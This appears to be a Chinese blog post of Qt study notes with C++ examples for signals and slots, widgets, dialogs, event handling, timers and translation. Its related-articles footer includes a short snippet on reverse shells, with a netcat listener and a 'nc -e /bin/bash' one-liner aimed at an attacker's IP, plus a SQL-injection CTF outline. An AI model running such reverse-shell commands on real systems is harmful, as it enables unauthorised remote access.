QT基础学习笔记

文章目录

  • 1 概述
    • 1.1 优点
    • 1.2 QT成功使用案例
    • 1.3 安装教程
      • 1.3.1 在线安装流程
      • 1.3.2 离线安装流程
  • 2 创建工程
    • 2.1 快捷键
      • 2.1.1 常用快捷键
      • 2.1.2 修改快捷键
    • 2.2 proj文件
  • 3 对象树
  • 4 信号和槽
    • 4.1 自定义信号和槽
      • 4.1.1 信号连接信号
      • 4.1.2 一个信号连接多个槽函数
      • 4.1.3 多个信号连接同一个槽函数
      • 4.1.3 信号和槽函数的参数列表必须一一对应,但是信号的参数个数可以多于槽
      • 4.1.4 断开信号
    • 4.2 QT4版本的信号和槽
    • 4.3 lambda表达式
      • 4.3.1 mutable关键字
      • 4.3.2 返回值
      • 4.3.3 利用lambda表达式实现槽函数功能
    • 4.4 小结
  • 5 控件
    • 5.1 窗口
      • 5.1.1 菜单栏
      • 5.1.2 工具栏
      • 5.1.3 状态栏
    • 5.2 PushButton
    • 5.3 对话框
      • 5.3.1 模态对话框
      • 5.3.2 非模态对话框
      • 5.3.3 消息对话框
        • 5.3.3.1 消息对话框是模态对话框
        • 5.3.3.2 使用案例
      • 5.3.4 颜色对话框
      • 5.3.4 文件对话框
      • 5.3.4 字体对话框
    • 5.4 按钮组
      • 5.4.1 Radio button
      • 5.4.2 Check box
    • 5.5 ListWidget
    • 5.6 TableWidget
    • 5.7 ComboBox
    • 5.8 封装自定义控件
      • 5.8.1 添加一个新的Widget类
      • 5.8.2 设计自定义的控件
      • 5.8.3 界面引用自定义的控件
      • 5.8.4 实现自定义控件功能
  • 6 事件
    • 6.1 鼠标Event
    • 6.2 定时器
      • 6.2.1 Event方式
      • 6.2.1 QTimer对象
    • 6.3 事件分发器
    • 6.4 事件过滤器
      • 6.4.1 使用步骤
      • 6.4.2 代码示例
  • 7 资源文件
    • 7.1 添加使用资源文件
  • 8 国际化
    • 8.1 操作步骤
  • 9 参考资料

1 概述

1.1 优点

  • 跨平台,几乎支持所有的平台
  • 接口设计良好,使用简单
  • 一定程度上简化了内存回收机制
  • 开发效率高,能够快速的构建应用程序。
  • 社区氛围良好,市场份额上升
  • 支持嵌入式开发

1.2 QT成功使用案例

  • Linux桌面环境KDE
  • WPS office软件
  • Skype网络电话
  • Google Earth
  • VLC多媒体播放器
  • VirtualBox

1.3 安装教程

从5.15之后了都是在线安装了。

1.3.1 在线安装流程

在线安装流程:
https://blog.csdn.net/Python_0011/article/details/131699443

1.3.2 离线安装流程

【选择组件】
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2 创建工程

2.1 快捷键

2.1.1 常用快捷键

Go back: Alt + Left 返回,光标上一次到的那个位置,如从一个文本到了另一个中。
Go Forward: Alt + Right前进

2.1.2 修改快捷键

有时Qt Creator快捷键与系统中的快捷键冲突了,可以自定义或者修改原来的快捷键,步骤如下: 工具-》选项-》环境-》键盘-》,此处比如切换书签的快捷键,Ctrl+M显示红色,就说明冲突了,我们选中这一行,点击Record重新记录,再点击Apply和OK即可

2.2 proj文件

在这里插入图片描述

3 对象树

在这里插入图片描述

4 信号和槽

4.1 自定义信号和槽

  • 定义信号
    singals后面的函数都可以作为信号,信号只有声明,没有实现。
class Teacher : public QObject
{
    Q_OBJECT
public:
    explicit Teacher(QObject *parent = nullptr);

signals:
    void hungry();

    void hungry(QString foodName);
};
  • 定义槽
    public slots后面的函数都可以作为slot,slot需要有实现。
class Student : public QObject
{
    Q_OBJECT
public:
    explicit Student(QObject *parent = nullptr);

signals:

public slots:
    void treat();

    void treat(QString foodName);
};
void Student::treat()
{
    qDebug() << "请老师吃饭";
}

void Student::treat(QString foodName) {
    qDebug() << "请老师吃饭, 老师要吃" << foodName.toUtf8().data();
}
  • 建立连接

调用connect函数建立连接。

void (Teacher::*hungryMethod)(QString) = &Teacher::hungry;
void (Student::*treatMethod)(QString) = &Student::treat;

connect(teacher, hungryMethod, student, treatMethod);
  • 发出信号
void MainWindow::classOver() {
    emit this->teacher->hungry("Noodles");
}

【自定义信号或者槽出现重载的情况的解决】

使用函数指针的方式来明确指向的函数的地址。

void (Teacher::*hungryMethod)(QString) = &Teacher::hungry;
void (Student::*treatMethod)(QString) = &Student::treat;

【一个小知识点:QString转为char*】

void Student::treat(QString foodName) {
    qDebug() << "请老师吃饭, 老师要吃" << foodName.toUtf8().data();
}

4.1.1 信号连接信号

 //信号连接信号
void (Teacher::*hungryMethodPure)(void) = &Teacher::hungry;
void (Student::*treatMethodPure)(void) = &Student::treat;
connect(teacher, hungryMethodPure, student, treatMethodPure);
connect(classOverButton, &QPushButton::clicked, teacher, hungryMethodPure);

4.1.2 一个信号连接多个槽函数

4.1.3 多个信号连接同一个槽函数

4.1.3 信号和槽函数的参数列表必须一一对应,但是信号的参数个数可以多于槽

不匹配的情况下会报如下错误:
在这里插入图片描述

4.1.4 断开信号

disconnect(classOverButton, &QPushButton::clicked, teacher, hungryMethodPure);

4.2 QT4版本的信号和槽

在这里插入图片描述
【优点】
参数直观
【缺点】
编译器不会检测参数类型

4.3 lambda表达式

4.3.1 mutable关键字

    //mutable关键字表示可以修改值传递的变量,但是修改的是拷贝,并不是变量本身
    QPushButton* myBtn = new QPushButton(this);
    QPushButton* myBtn2 = new QPushButton(this);
    myBtn2->move(100, 100);
    int m = 10;
    connect(myBtn, &QPushButton::clicked, this, [m]()mutable {m = 110; qDebug() << m;});
    connect(myBtn2, &QPushButton::clicked, this, [=](){qDebug() << m;});
    qDebug() << m;

4.3.2 返回值

void testReturnInLambda() {
    int ret = []()->int{return 1000;}();
    qDebug() << "ret = " << ret;
}

4.3.3 利用lambda表达式实现槽函数功能

/**
 * @brief testOnButtonClick,利用lambda表达式实现槽函数功能
 *
 * @param mainWindow
 */
void testOnButtonClick(MainWindow* mainWindow) {
    QPushButton* button = new QPushButton("Clock window", mainWindow);
    button->move(100, 100);
    mainWindow->connect(button, &QPushButton::clicked, mainWindow, [=](){
        mainWindow->getStudent()->treat("Coco cola");
        mainWindow->close();
    });
}

4.4 小结

在这里插入图片描述

5 控件

5.1 窗口

在这里插入图片描述
在这里插入图片描述

5.1.1 菜单栏

最多只有一个

5.1.2 工具栏

可以有多个

5.1.3 状态栏

5.2 PushButton

5.3 对话框

在这里插入图片描述

5.3.1 模态对话框

不可以操作其他窗口了。

void showModeDialog(QWidget* parent) {
    QDialog dialog(parent);
    dialog.resize(200, 100);
    dialog.exec();
}

5.3.2 非模态对话框

还可以操作其他窗口

void showNoneModeDialog(QWidget* parent) {
    QDialog* dialog = new QDialog(parent);
    dialog->resize(200, 100);
    dialog->setAttribute(Qt::WA_DeleteOnClose);
    dialog->show();
}

5.3.3 消息对话框

5.3.3.1 消息对话框是模态对话框

在这里插入图片描述

5.3.3.2 使用案例
void showMessageBox(QWidget* parent, int dialogType) {
    switch (dialogType) {
    case 1:
    {
        QMessageBox::critical(parent, "critial", "critial happened");
        break;
    }
    case 2:
    {
        QMessageBox::information(parent, "information", "information happened");
        break;
    }
    case 3:
    {
        QMessageBox::StandardButton result = QMessageBox::question(parent, "ques", "question happened", QMessageBox::Yes | QMessageBox::No, QMessageBox::Yes);
        if (result == QMessageBox::Yes) {
            qDebug() << "Yes";
        } else {
            qDebug() << "No";
        }
        break;
    }
    case 4:
    {
        QMessageBox::warning(parent, "warning", "warning happened");
        break;
    }
    default:
        QMessageBox::critical(parent, "critial", "critial happened");
        break;
    }
}

5.3.4 颜色对话框

void showColorDialog(QWidget* parent) {
    QColor color = QColorDialog::getColor(QColor(255, 0, 0));
    QString str = QString("[%1, %2, %3]").arg(color.red()).arg(color.green()).arg(color.blue());
    qDebug() << str;
}

5.3.4 文件对话框

void showFileDialog(QWidget* parent) {
    QString filePath = QFileDialog::getOpenFileName(parent, "Sk Open File", "C:\\Users\\imt2047\\Desktop", "(*.png)");
    qDebug() << filePath;
}

5.3.4 字体对话框

void showFontDialog(QWidget* parent) {
    bool flag;
    QFont font = QFontDialog::getFont(&flag, QFont("Times New Roman", 14));
    QString res = QString("Family:%1, Size:%2, Bold:%3, Italic:%4").arg(font.family()).arg(font.pointSize()).arg(font.bold())
            .arg(font.italic());
    qDebug() << res;
}

5.4 按钮组

5.4.1 Radio button

设置默认选中

ui->rBtnMan->setChecked(true);

5.4.2 Check box

在这里插入图片描述

5.5 ListWidget

void MainWindow::initListWidget() {
//    QListWidgetItem* item = new QListWidgetItem("Hello hello, jin gou bei, jin goubei");
//    item->setTextAlignment(Qt::AlignHCenter);
//    ui->listWidget->addItem(item);

    QStringList list;
    list << "Hello hello, jin gou bei, jin goubei" << "Hello hello, jin gou bei, jin goubei"
         << "Hello hello, jin gou bei, jin goubei" << "Hello hello, jin gou bei, jin goubei";
    ui->listWidget->addItems(list);
}

5.6 TableWidget

void MainWindow::initTableWidget() {
    ui->tableWidget->setColumnCount(3);
    ui->tableWidget->setRowCount(5);
    ui->tableWidget->setHorizontalHeaderLabels(QStringList()<<"Name" << "Sex" << "Age");

    QStringList nameList;
    nameList << "yase" << "zhoayun" << "zhangfei" << "guanyu" << "huamulan";

    QList<QString> sexList;
    sexList<< "Male" << "Male" << "Male" << "Male" << "Female";

    for (int i = 0; i < 5; i++) {
        int columnIndex = 0;
        ui->tableWidget->setItem(i, columnIndex++, new QTableWidgetItem(nameList[i]));
        ui->tableWidget->setItem(i, columnIndex++, new QTableWidgetItem(sexList[i]));
        ui->tableWidget->setItem(i, columnIndex++, new QTableWidgetItem(QString::number(i)));
    }
}

5.7 ComboBox

void MainWindow::initComboBox() {
    ui->comboBox->addItem("Benz");
    ui->comboBox->addItem("BMW");
    ui->comboBox->addItem("125 Moto");

    connect(ui->selectCarPushButton, &QPushButton::clicked, this, [=](){
        // ui->comboBox->setCurrentIndex(2);
        ui->comboBox->setCurrentText("BMW");
    });
}

5.8 封装自定义控件

5.8.1 添加一个新的Widget类

在这里插入图片描述

5.8.2 设计自定义的控件

拖拖拽拽
在这里插入图片描述

5.8.3 界面引用自定义的控件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5.8.4 实现自定义控件功能

spinbox和slider联动。

void SmallWidget::setValue(int value) {
    ui->spinBox->setValue(value);
}


int SmallWidget::getValue() {
    return ui->spinBox->value();
}

void SmallWidget::initBaseFunction() {
    // SpinBox数值变化,Slider跟随滑动
    void (QSpinBox::* valueChangedSignal)(int) = &QSpinBox::valueChanged;
    connect(ui->spinBox, valueChangedSignal, ui->horizontalSlider, &QSlider::setValue);

    // Slider滑动,SpinBox跟随数值变化
    connect(ui->horizontalSlider, &QSlider::valueChanged, ui->spinBox, &QSpinBox::setValue);
}

6 事件

6.1 鼠标Event

#ifndef MYLABEL_H
#define MYLABEL_H

#include <QLabel>
#include <QDebug>
#include <QMouseEvent>

class MyLabel : public QLabel
{
    Q_OBJECT
public:
    explicit MyLabel(QWidget* parent = 0);

    /**
     * @brief enterEvent: 覆写基类方法
     * @param event
     */
    void enterEvent(QEvent *event);
    void leaveEvent(QEvent *event);
    void mousePressEvent(QMouseEvent *event);
    void mouseReleaseEvent(QMouseEvent *event);
    void mouseDoubleClickEvent(QMouseEvent *event);
    void mouseMoveEvent(QMouseEvent *event);
};

#endif // MYLABEL_H
#include "mylabel.h"

MyLabel::MyLabel(QWidget* parent):QLabel(parent)
{
    // 开启鼠标追踪
    setMouseTracking(true);
}

void MyLabel::enterEvent(QEvent *event) {
    qDebug() << "mouse in in la.";
}

void MyLabel::leaveEvent(QEvent *event) {
    qDebug() << "mouse out out la.";
}

void MyLabel::mousePressEvent(QMouseEvent *event) {
    // 如果鼠标左键和右键按下,提示信息
    QString string = QString("Mouse click happened");
    if (event->button() == Qt::LeftButton) {
        string = QString("Mouse left button click, x = %1, y = %2").arg(event->x()).arg(event->y());
    } else if (event->button() == Qt::RightButton) {
        string = QString("Mouse right button click, x = %1, y = %2").arg(event->x()).arg(event->y());
    } else {

    }
    qDebug() << string;
}

void MyLabel::mouseReleaseEvent(QMouseEvent *event) {
    QString string = QString("Mouse release, x = %1, y = %2").arg(event->x()).arg(event->y());
    qDebug() << string;
}

void MyLabel::mouseDoubleClickEvent(QMouseEvent *event) {
    QString string = QString("Mouse double click, x = %1, y = %2").arg(event->x()).arg(event->y());
    qDebug() << string;
}

void MyLabel::mouseMoveEvent(QMouseEvent *event){
    if (event->buttons() & Qt::LeftButton) {
        QString string = QString("Mouse moving, x = %1, y = %2").arg(event->x()).arg(event->y());
        qDebug() << string;
    }
}

6.2 定时器

6.2.1 Event方式

#ifndef MAINWINDOW_H
#define MAINWINDOW_H

#include <QMainWindow>
#include <QDebug>

QT_BEGIN_NAMESPACE
namespace Ui { class MainWindow; }
QT_END_NAMESPACE

class MainWindow : public QMainWindow
{
    Q_OBJECT

public:
    MainWindow(QWidget *parent = nullptr);
    ~MainWindow();

    void timerEvent(QTimerEvent* event);

private:
    Ui::MainWindow *ui;

    int timerId1;
    int timerId2;

    void onTimer1Event(QTimerEvent* event);
    void onTimer2Event(QTimerEvent* event);
};
#endif // MAINWINDOW_H
#include "mainwindow.h"
#include "ui_mainwindow.h"

MainWindow::MainWindow(QWidget *parent)
    : QMainWindow(parent)
    , ui(new Ui::MainWindow)
{
    ui->setupUi(this);

    // 启动定时器
    timerId1 = startTimer(1000);
    timerId2 = startTimer(2000);
}

void MainWindow::timerEvent(QTimerEvent* event) {
    if (event ->timerId() == timerId1) {
        onTimer1Event(event);
    } else if (event->timerId() == timerId2) {
        onTimer2Event(event);
    }
}

void MainWindow::onTimer1Event(QTimerEvent* event) {
    static int num = 1;

    ui->label->setText(QString::number(num++));
}

void MainWindow::onTimer2Event(QTimerEvent* event) {
    static int num = 1;

    ui->label_2->setText(QString::number(num++));
}

6.2.1 QTimer对象

void startQTimer(MainWindow* parent) {
    QTimer* timer = new QTimer(parent);
    parent->connect(timer, &QTimer::timeout, parent, [=](){
        static int num = 1;
        parent->getUi()->label_3->setText(QString::number(num++));
    });
    timer->start(500);

    parent->connect(parent->getUi()->pauseButton, &QPushButton::clicked, parent, [=](){
        timer->stop();
    });

    parent->connect(parent->getUi()->resumeButton, &QPushButton::clicked, parent, [=](){
        timer->start(500);
    });
}

6.3 事件分发器

bool MyLabel::event(QEvent *e) {
    // 拦截处理鼠标按下事件
    if (e->type() == QEvent::MouseButtonPress) {
        QMouseEvent* event = static_cast<QMouseEvent*>(e);
        handleMousePressEvent(event, "event()");
        return true;
    }

    // 交给父类处理
    return QLabel::event(e);
}

6.4 事件过滤器

6.4.1 使用步骤

  1. 控件安装事件过滤器
  2. 覆写eventFilter函数。

6.4.2 代码示例

void MainWindow::initLabel() {
    //1. install event filter
    ui->label->installEventFilter(this);
}
/**
 * 2. override eventFilter
 *
 * @brief MainWindow::eventFilter
 * @param object
 * @param e
 * @return
 */
bool MainWindow::eventFilter(QObject* object, QEvent* e) {
    if (object == ui->label) {
        // 拦截处理鼠标按下事件
        if (e->type() == QEvent::MouseButtonPress) {
            QMouseEvent* event = static_cast<QMouseEvent*>(e);
            handleMousePressEvent(event, "eventFilter()");
            return true;
        }
    }

    return QMainWindow::eventFilter(object, e);
}

7 资源文件

7.1 添加使用资源文件

  • 将资源文件拷贝到目录中
    在这里插入图片描述

  • 创建资源文件(qrc文件)
    在这里插入图片描述

  • 编辑资源文件
    添加前缀,添加文件。
    在这里插入图片描述

  • 使用资源文件

void MainWindow::initFileMenuItems() {
    QAction* newAction = new QAction("New");
    //使用QT资源: : + 前缀名 + 资源名
    newAction->setIcon(QIcon(":/image/robot_hand.svg"));
    this->fileMenuItems.append(newAction);
    this->fileMenuItems.append(new QAction("Open"));
}

8 国际化

8.1 操作步骤

  1. 生成ts文件
  • pro文件增加内容
TRANSLATIONS = ListTableWidgetTest_EN.ts \
                ListTableWidgetTest_CN.ts
  • 使用lupdate生成ts文件
    在这里插入图片描述
  • 查看生成的ts文件
    生成的文件就在工程目录中。ts文件就是xml文件。
    在这里插入图片描述
  1. 生成qm文件
    使用linguist生成。
    在这里插入图片描述
  2. 代码中加载qm文件,安装translator,retranslateUi
void MainWindow::on_selectLanguangeComboBox_activated(int index)
{
    switch(index) {
    // chinese
    case 0:
        translator->load(":/language/res/ListTableWidgetTest_CN.qm");
        isChinese = true;
        break;
    // english
    case 1:
        translator->load(":/language/res/ListTableWidgetTest_EN.qm");
        isChinese = false;
        break;
    default:
        break;
    }

     qApp->installTranslator(translator);
     ui->retranslateUi(this);
}
  1. 注意ComboBox
    retranslateUi刷新UI的时候,会把组合框默认选择第一个。如果同组合框切换语言的时候,要处理下这个选择框。
    解决办法就是记录全局变量,记录每一次选择的原因。 如果组合框因为刷新的原因发生了不一致,就根据全局变量重新恢复。
void MainWindow::changeEvent(QEvent *e) {
    switch (e->type()) {
    case QEvent::LanguageChange:
        ui->retranslateUi(this);
        if (!isChinese && ui->comboBox->currentIndex() == 0) {
            ui->selectLanguangeComboBox->setCurrentIndex(1);
        }
        break;
    default:
        break;
    }
}

9 参考资料

[1] https://www.bilibili.com/video/BV1g4411H78N/?p=11&spm_id_from=pageDriver&vd_source=f4dcb991bbc4da0932ef216329aefb60
[2] https://blog.csdn.net/weixin_51081223/article/details/121671615
[3] https://cloud.tencent.com/developer/article/2245901
[4] https://blog.csdn.net/ihmhm12345/article/details/127408975
[5] 创建PyQT项目: https://www.pythonguis.com/tutorials/first-steps-qt-creator/
[6] ui转换为py,并生成exe: https://www.cnblogs.com/linyfeng/p/11223707.html
[7] QT Linguist: https://blog.csdn.net/liang19890820/article/details/50274409
[8] QT 国际化:https://blog.csdn.net/liang19890820/article/details/50276673
[9] QT 国际化:https://www.bilibili.com/video/BV1yx411t7cX/?spm_id_from=333.337.search-card.all.click&vd_source=f4dcb991bbc4da0932ef216329aefb60
[10] Android事件分发机制:https://www.jianshu.com/p/38015afcdb58
[11] QT事件机制:https://blog.csdn.net/luolaihua2018/article/details/110797592
[12] QT事件机制:https://blog.csdn.net/tqs_1220/article/details/82563070
[13] QT事件机制:https://www.cnblogs.com/Braveliu/p/7417476.html
[14] 在Qt Creator中查看QT源码:https://blog.csdn.net/ihmhm12345/article/details/127408975

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/113315.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Jenkins中解决下载maven包巨慢的问题

背景介绍 我们在使用jenkins构建maven项目时由于依赖很多第三方jar包&#xff0c;默认会从maven中央仓库下载&#xff0c;由于maven中央仓库服务器是国外的&#xff0c;所以下载很慢&#xff0c;甚至会超时 解决办法 增加jenkins maven 源配置 如下图所示&#xff0c;增加m…

vue el-table-column 修改一整列的背景颜色

目录 修改表头以及一整列数据的背景颜色&#xff0c;效果如下&#xff1a; 总结 修改表头以及一整列数据的背景颜色&#xff0c;效果如下&#xff1a; 修改表头背景颜色&#xff1a;在el-table绑定header-cell-style 修改一整列的数据背景颜色&#xff1a;在el-table绑定:cel…

数据结构(四)--队列及面试常考的算法

一、队列介绍 1、定义 与栈相似&#xff0c;队列是另一种顺序存储元素的线性数据结构。栈与队列的最大差别在于栈是LIFO&#xff08;后进先出&#xff09;&#xff0c;而队列是FIFO&#xff0c;即先进先出。 2、优缺点及使用场景 优点&#xff1a;先进先出&#xff08;FIFO&…

Qt PingFang字体在Debian/Ubuntu上安装

1 下载ttf格式的字体库 2 将上图中的ttf文件拷贝到/usr/share/fonts/truetype 3 执行 fc-cache -f -v 4 如果qt程序字体效果未显示&#xff0c;可能与qt的字体路径有关 我这边是这样修改的&#xff1a;

CSS3中的字体和文本样式

CSS3优化了CSS 2.1的字体和文本属性&#xff0c;同时新增了各种文字特效&#xff0c;使网页文字更具表现力和感染力&#xff0c;丰富了网页设计效果&#xff0c;如自定义字体类型、更多的色彩模式、文本阴影、生态生成内容、各种特殊值、函数等。 1、字体样式 字体样式包括类…

生成独立运行的QT程序

前言 使用windeployqt程序生成独立运行的QT程序。 方法 1.在QT Creator使用release构建运行一下代码&#xff0c;不使用debug模式&#xff0c;将release文件夹中生成的***.exe文件复制到一个新的文件夹下。 2.打开 Qt 5.14.2(MinGW 7.3.0 64-bit) 进入exe文件所在的目录执…

2023年11月2日历史上的今天大事件早读

1082年11月02日宋徽宗出生 1861年11月02日辛酉政变 1910年11月02日中国社会学家和人类学家费孝通诞生 1910年11月02日畜生态学科的创始人汤逸人诞生 1917年11月02日《贝尔福宣言》和犹太复国主义 1917年11月02日美日订立“兰辛—石井协定”损害中国利益 1937年11月02日忻…

2022最新版-李宏毅机器学习深度学习课程-P26 自注意力机制

一、应用情境 输入任意长度个向量进行处理。 从输入看 文字处理&#xff08;自然语言处理&#xff09; 将word表示为向量 one-hotword-embedding声音信号处理 每个时间窗口&#xff08;Window, 25ms&#xff09;视为帧&#xff08;Frame&#xff09;,视为向量图 每个节点视为…

Spring Cloud的ElasticSearch的进阶学习

目录 数据聚合 Bucket示例 Metric示例 RestAPI实现聚合 自动补全 使用拼音分词 自定义分词器 实现自动补全 RestAPI实现自动补全功能 数据同步 同步调用 异步通知 监听binlog 数据聚合 聚合可以实现对文档数据的统计、分析、运算。聚合常见的有三类&#xff1a; …

[极客大挑战 2019]LoveSQL 1

题目环境&#xff1a;判断注入类型是否为数字型注入 admin 1 回显结果 否 是否为字符型注入 admin 1 回显结果 是 使用堆叠注入 采用密码参数进行注入 爆数据库1; show database();#回显结果 这里猜测注入语句某字段被过滤&#xff0c;或者是’;被过滤导致不能堆叠注入 爆字段数…

分析报告有样板了-奥威BI数据可视化报表模板

述职报告、月度数据分析报告、季度数据分析报告、区域数据分析报告……人在职场&#xff0c;数据分析报告少不了。那么&#xff0c;怎么才能在极短的时间内做出一张既好看又突出重点、分析逻辑在线的数据可视化分析报表&#xff1f;奥威BI软件的建议是采用BI数据可视化报表模板…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

opencv官网文档学习

文章最后有一些图片资源 1.图像处理基本使用 import cv2# 读取图像 image cv2.imread("images/1.png", cv2.IMREAD_GRAYSCALE) print("image:",image)# 显示图像 namedWindow cv2.namedWindow("images/1.png") cv2.imshow("images/1.pn…

Zotero 超好用插件的下载链接及配置方法(PDF-translate/ZotFile/茉莉花/Zotero Scihub)

目录 前言插件安装方法插件一&#xff1a;文献翻译插件&#xff08;pdf-translate&#xff09;插件二&#xff1a;文献附件管理&#xff08;ZotFile&#xff09;插件三&#xff1a;中文文献插件&#xff08;茉莉花&#xff09;插件四&#xff1a;Sci-Hub 自动下载文献&#xff…

学习使用php实现汉字验证码

学习使用php实现汉字验证码 <?php //开启session &#xff0c;方便验证 session_start(); //创建背景画布 $image imagecreatetruecolor(200, 60); $background imagecolorallocate($image, 255, 255, 255); imagefill($image, 0, 0, $background);//创建背景画布 for ($…

Mac-Java开发环境安装(JDK和Maven)

JDK安装 1、访问oracle官网&#xff0c;下载jdk 点击下载链接&#xff1a;https://www.oracle.com/java/technologies/downloads/#java11-mac 选择Mac版本&#xff0c;下载dmg 打勾点击下载&#xff0c;跳转登陆&#xff0c;没有就注册&#xff0c;输入账号密码即可下载成功…

Ubuntu20.04操作系统安装及重中之重:系统分区

最近因为学习原因&#xff0c;需要将电脑设置为双系统&#xff0c;在windows10的系统下去安装Ubuntu操作系统。本来看网上相关的安装教程蛮多的&#xff0c;以为比较简单&#xff0c;结果一路过五关斩六将&#xff0c;坑的七零八落的&#xff0c;折腾了好久&#xff0c;才算安装…

什么是文件安全

文件安全就是通过实施严格的访问控制措施和完美的权限卫生来保护您的业务关键信息不被窥探&#xff0c;除了启用和监控安全访问控制外&#xff0c;整理数据存储在保护文件方面也起着重要作用。通过清除旧的、过时的和其他垃圾文件来定期优化文件存储&#xff0c;以专注于关键业…

超好用的IDEA插件推荐,写完代码直接调试接口

Apipost推出IDEA插件非常省时高效&#xff0c;写完代码直接可以进行调试&#xff0c;而且支持生成接口文档&#xff0c;真是后端神器啊&#xff01; 可以点击下方链接安装更新或在插件商店中搜索安装 下载链接&#xff1a;https://plugins.jetbrains.com/plugin/22676-apipos…

linux安装apache并配置userid站点

目录 一、linux安装apache的方式 1、安装wget 2、下载CentOS 7的repo文件 3、更新镜像源 二、安装apache 1.通过命令直接安装apache(linux的软件包为httpd) 2.启动httpd服务 3.访问一下 三、apache配置文件 1.主配置文件 2.修改根目录 3.修改下端口 4.apache的工作…
最新文章